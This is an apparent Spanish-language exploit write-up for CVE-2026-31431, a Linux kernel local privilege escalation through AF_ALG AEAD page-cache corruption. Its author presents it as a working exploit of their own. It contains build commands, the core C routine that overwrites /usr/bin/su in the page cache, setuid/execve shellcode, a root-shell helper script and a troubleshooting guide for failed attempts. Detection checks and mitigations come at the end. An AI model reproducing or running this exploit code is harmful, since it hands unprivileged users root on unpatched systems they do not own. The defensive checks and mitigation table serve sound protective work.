
Prueba de concepto funcional para CVE-2026-31431, una escalada local de privilegios en el kernel de Linux mediante la corrupción de la caché de páginas de AF_ALG AEAD, que otorga una shell de root.
2026-04-29 — Publico este exploit un día después de compartirlo en el foro MyDigitalLife. No requiere Python; está escrito en C y compilado al menor tamaño posible usando:
musl-gcc -static -Os -o exploit exploit.c -sAmenaza crítica. El binario del exploit está compilado sin dependencias y puede usarse para probar vulnerabilidades en cualquier sistema Linux.
CVE-2026-31431 es una vulnerabilidad confirmada por NIST en el kernel de Linux que permite a un usuario local sin privilegios obtener un shell
rooten segundos. A la luz del exploit que circula públicamente para CVE-2026-31431, he desarrollado una prueba de concepto (PoC) binaria para evaluar la exposición de nuestra infraestructura interna. Si bien algunos entornos restringen el uso de su, esta vulnerabilidad es particularmente crítica para servidores compartidos porque ataca la gestión de memoria del kernel subyacente. En consecuencia, cualquier binario SETUID —incluidos sudo, passwd, mount o newgrp— puede aprovecharse para desencadenar el exploit y otorgar un shell root. Se requiere acción administrativa inmediata para parchear el kernel, ya que las restricciones estándar de espacio de usuario son insuficientes para mitigar esta amenaza. Cualquier sistema Linux que ejecute un kernel sin parchear está en riesgo.
Mi propio exploit funcional · Kernel de Linux · Interfaz criptográfica AF_ALG (AEAD)
Reemplaza /usr/bin/su en la caché de páginas del kernel sin tocar el archivo en disco
El acceso a shell local es suficiente — no se requieren privilegios adicionales
Afecta a distribuciones Linux sin parchear

CVE-2026-31431 es un error en el manejo de operaciones de I/O scatter-gather y referencias a la caché de páginas en el subsistema criptográfico del kernel de Linux — específicamente en la implementación del socket AF_ALG para algoritmos AEAD (crypto/af_alg.c, crypto/aead.c).
El kernel de Linux expone una interfaz criptográfica al espacio de usuario mediante sockets AF_ALG. La vulnerabilidad radica en que durante una operación de descifrado AEAD, el kernel mapea incorrectamente la salida del descifrado directamente sobre las páginas de la caché de páginas del archivo fuente — en lugar de un búfer temporal. Un atacante puede así sobrescribir el contenido en memoria de cualquier archivo sin modificarlo en disco, sin privilegios root y sin dejar rastro visible en el sistema de archivos.
El exploit consta de dos componentes: un script auxiliar en /tmp/x y un bucle de corrupción basado en AF_ALG. A continuación se muestra un recorrido exacto basado en el análisis del código fuente:
1. Configuración del script auxiliar
El exploit crea /tmp/x con el siguiente contenido:
#!/bin/sh
export TERM=xterm-256color
exec /bin/sh
Establece permisos 0755. La razón: /usr/bin/su elimina las variables de entorno (incluida TERM) al lanzarse. El script auxiliar las restaura antes de generar el shell real, garantizando una terminal funcional.
2. Construcción del payload ELF
Se construye en memoria un binario ELF x86_64 mínimo de 158 bytes que contiene shellcode crudo. La cadena /bin/sh en el desplazamiento 150 se parchea luego a /tmp/x\0 mediante memcmp/memcpy. Consulta Payload ELF para más detalles.
3. Apertura de /usr/bin/su en modo solo lectura
int su_fd = open("/usr/bin/su", O_RDONLY);
El archivo se abre en modo solo lectura — el exploit no requiere permisos de escritura en absoluto.
4. Bucle de corrupción — 39 iteraciones de 4 bytes cada una
El payload (158 bytes) se procesa en fragmentos de 4 bytes (39 fragmentos completos). Cada fragmento se pasa a corrupt_binary_chunk(), que realiza:
AF_ALG (SOCK_SEQPACKET)authencesn(hmac(sha256),cbc(aes)) — un algoritmo AEAD compuestoop_sock)sendmsg con un búfer de 8 bytes (4× 'A' + 4 bytes de payload) y tres CMSGs: ALG_OP_DECRYPT, IV (20 bytes), assoclen=8splice: su_fd → pipe → op_sock (copia cero a través del kernel)recv() — aquí es donde el kernel sobrescribe erróneamente la caché de páginas5. Ejecución
execve("/usr/bin/su", args, NULL);
El kernel carga /usr/bin/su a través de la caché de páginas — que ahora está envenenada. El bit SUID (chmod u+s) está intacto, por lo que el kernel ejecuta el archivo como root. El shellcode ejecuta setuid(0) → execve("/tmp/x") → shell root interactivo.
flowchart TD
A[Usuario local sin privilegios] --> B["Crea script auxiliar /tmp/x\nchmod 0755"]
B --> C["Construye payload ELF de 158 bytes\nParche: /bin/sh → /tmp/x"]
C --> D["open /usr/bin/su O_RDONLY\nNo se necesitan permisos de escritura"]
D --> E[Bucle: 39 fragmentos de 4 bytes]
E --> F[socket AF_ALG SOCK_SEQPACKET]
F --> G["bind: authencesn hmac sha256 cbc aes"]
G --> H["setsockopt: clave 72B + authsize=4"]
H --> I[accept → op_sock]
I --> J["sendmsg: datos 8B + 3x CMSG\nDECRYPT / IV 20B / assoclen=8"]
J --> K["splice: su_fd → pipe → op_sock\ncopia cero a través del kernel"]
K --> L[recv → finaliza operación AEAD]
L --> M["ERROR DEL KERNEL: salida del descifrado\nsobrescribe caché de páginas de su_fd"]
M --> N{¿Siguiente fragmento?}
N -->|Sí| E
N -->|No| O["execve /usr/bin/su"]
O --> P["El kernel carga /usr/bin/su\ndesde la caché de páginas envenenada"]
P --> Q["Bit SUID intacto\nel kernel ejecuta como root"]
Q --> R["Shellcode: setuid 0 syscall 105"]
R --> S["execve /tmp/x syscall 59"]
S --> T[Shell root interactivo]Secciones clave de exploit.c revisadas a continuación:
corrupt_binary_chunk()El corazón del exploit. Cada llamada coordina una transacción AF_ALG completa:
static void corrupt_binary_chunk(int fd, int offset, const unsigned char chunk[4])
{
// Crea socket AF_ALG y se vincula a AEAD authencesn(hmac(sha256),cbc(aes))
alg_sock = socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(alg_sock, (struct sockaddr *)&sa, sizeof(sa));
// Clave de 72 bytes + tamaño de etiqueta de autenticación = 4 bytes
setsockopt(alg_sock, SOL_ALG, ALG_SET_KEY, key, sizeof(key)); // 72B
setsockopt(alg_sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);
op_sock = accept(alg_sock, NULL, NULL);
// Búfer: 4x 'A' como datos asociados + 4 bytes de payload
unsigned char msg_buf[8] = {'A','A','A','A', chunk[0],chunk[1],chunk[2],chunk[3]};
// 3 CMSGs: operación DECRYPT / IV (20B, primer byte 0x10) / assoclen=8
// sendmsg con MSG_MORE — los datos aún no están completos
sendmsg(op_sock, &msg, MSG_MORE);
// splice de copia cero: su_fd → pipe → op_sock (offset+4 bytes)
splice(fd, &off_in, pipefd[1], NULL, total_len, 0);
splice(pipefd[0], NULL, op_sock, NULL, total_len, 0);
// recv finaliza la operación — el kernel escribe incorrectamente en la caché de páginas de su_fd aquí
recv(op_sock, dummy, 8 + offset, 0);
}
for (size_t i = 0; i < len; i += 4) {
if (i + 4 > len) break; // omite los últimos 2 bytes (158 % 4 = 2)
corrupt_binary_chunk(su_fd, i, &payload[i]);
}
// 39 fragmentos completos × 4 bytes = 156 bytes aplicados
El payload es un binario ELF x86_64 autónomo de 158 bytes con shellcode crudo — sin enlazador dinámico, sin bibliotecas externas.
; desplazamiento 120 — punto de entrada 0x400078
xor eax, eax ; eax = 0
xor edi, edi ; edi = 0 (uid = 0)
mov al, 105 ; syscall setuid(0)
syscall
lea rdi, [rip+0xf] ; rdi → "/tmp/x\0" (desplazamiento 150)
xor esi, esi ; argv = NULL
push 59
pop rax ; syscall execve
cdq ; rdx = 0 (envp = NULL)
syscall
xor edi, edi
push 60
pop rax ; syscall exit(0)
syscall
; desplazamiento 150
db "/tmp/x", 0, 0 ; (parcheado desde "/bin/sh\0")
uname -r
Compara la salida con la lista de versiones vulnerables publicada por NIST: nvd.nist.gov/vuln/detail/CVE-2026-31431
python3 -c "import socket; s = socket.socket(38, socket.SOCK_SEQPACKET); print('AF_ALG disponible — el sistema puede ser vulnerable')"
Si el comando devuelve [Errno 97] Address family not supported — el módulo está deshabilitado y el riesgo es significativamente menor.
/usr/bin/suls -la /usr/bin/su
Si el bit s está presente (p. ej. -rwsr-xr-x) — /usr/bin/su tiene SUID configurado y es el vector de ataque.
# Descargar módulo AF_ALG si no es necesario
sudo modprobe -r af_alg 2>/dev/null || echo "El módulo está integrado en el kernel — no se puede descargar"
# Alternativa — eliminar SUID temporalmente
sudo chmod u-s /usr/bin/su
Esta sección está destinada a investigadores de seguridad que analizan la vulnerabilidad en un entorno aislado.
socket() o bind() fallanSíntoma: perror("socket") o perror("bind") provocan la salida.
Causas:
AF_ALG o el algoritmo authencesn — comprobar: cat /proc/crypto | grep authencesnsudo modprobe hmac sha256 cbc aead authencesnAF_ALG — comprobar registros: dmesg | tail -20splice() devuelve EPERM / EINVALSíntoma: La operación splice es rechazada por el kernel.
Causas:
su_fd apunta a un archivo regular, no a un enlace simbólico o dispositivodmesg para entradas de registro de auditoría que bloqueen la copia cero en sockets criptográficosexecve genera un shell de usuario normalSíntoma: Sin prompt root; id muestra el UID original.
Causas:
/usr/bin/su no tiene el bit SUID — ls -la /usr/bin/su, el bit s debe ser visibleexecve — añadir sync o reducir el retardo del bucle/tmp/x no encontrado o falta TERMSíntoma: El shell se genera pero el renderizado de la terminal está roto.
Causas:
/tmp es escribible y no está montado con noexec/tmp/x debe tener permisos 0755 — verificar: ls -la /tmp/xexecve("/tmp/x") falla — el shellcode puede re-parchearse para usar /bin/sh directamenteADVERTENCIA: Este documento se publica únicamente con fines informativos, educativos y defensivos. Describe una amenaza conocida públicamente, identificada por NIST y reportada por la comunidad de seguridad. Ejecutar el exploit en sistemas que no posees o para los que no tienes autorización explícita de prueba puede violar las leyes aplicables y resultar en responsabilidad penal. Prueba únicamente en entornos de laboratorio aislados.
Todas las marcas comerciales son propiedad de sus respectivos propietarios. Linux y las marcas relacionadas son marcas comerciales de Linux Foundation.
Última actualización: 2026-04-29
| Propiedad | Valor |
|---|
| Identificador | CVE-2026-31431 |
| Referencia | NIST NVD |
| Tipo | Escalada de Privilegios Local (LPE) |
| Componente | Kernel de Linux — AF_ALG / AEAD (authencesn) |
| Acceso requerido | Usuario local sin privilegios |
| Impacto | Shell root interactivo |
| Estado del exploit | PoC funcional disponible públicamente en GitHub |
| Persistencia | Ninguna — la modificación existe solo en RAM; el reinicio restaura el estado original |
| Sistema | Estado |
|---|
| Ubuntu 24.04 (hardware físico / VM) | ⚠️ Vulnerable en kernel sin parchear |
| Debian, Fedora, Arch en kernel sin parchear | ⚠️ Vulnerable |
Distribuciones con CONFIG_SECURITY_LOCKDOWN_LSM | ✅ Probablemente protegidas |
Sistemas con nosuid o ProtectSUID (systemd) | ✅ Protegidos |
Sistemas con AppArmor/SELinux que bloquean AF_ALG | ✅ Protegidos |
| macOS, Windows (nativo) | ✅ No afectados |
| Campo | Detalles |
|---|
| Tamaño total | 158 bytes |
| Cabecera ELF | 120 bytes (e_type=2 EXEC, e_machine=62 x86_64) |
| Punto de entrada | 0x00400078 = desplazamiento 120 (inmediatamente después de la cabecera) |
| Shellcode | 30 bytes (desplazamientos 120–149) |
| Cadena objetivo | 8 bytes en el desplazamiento 150 (/bin/sh\0 → parcheado a /tmp/x\0) |
| Fragmentos de 4 bytes | 39 completos (156 bytes); se omiten los últimos 2 bytes |
| Mitigación | Cómo aplicarla | Efectividad |
|---|
| Actualización del kernel | sudo apt update && sudo apt upgrade + reinicio | ✅ Completa (cuando el parche esté disponible) |
| Bloquear módulo AF_ALG | echo "install af_alg /bin/false" >> /etc/modprobe.d/blacklist.conf | ✅ Bloquea el vector de ataque |
Eliminar SUID de su | sudo chmod u-s /usr/bin/su | ✅ Bloquea este exploit (nota: su dejará de funcionar) |
Montar /tmp con noexec | Editar /etc/fstab: tmpfs /tmp tmpfs noexec,nosuid 0 0 | ⚠️ Parcial — bloquea /tmp/x, el exploit puede usar otra ruta |
| AppArmor / SELinux | Perfil que bloquea AF_ALG socket para usuarios sin privilegios | ✅ Efectivo con configuración correcta |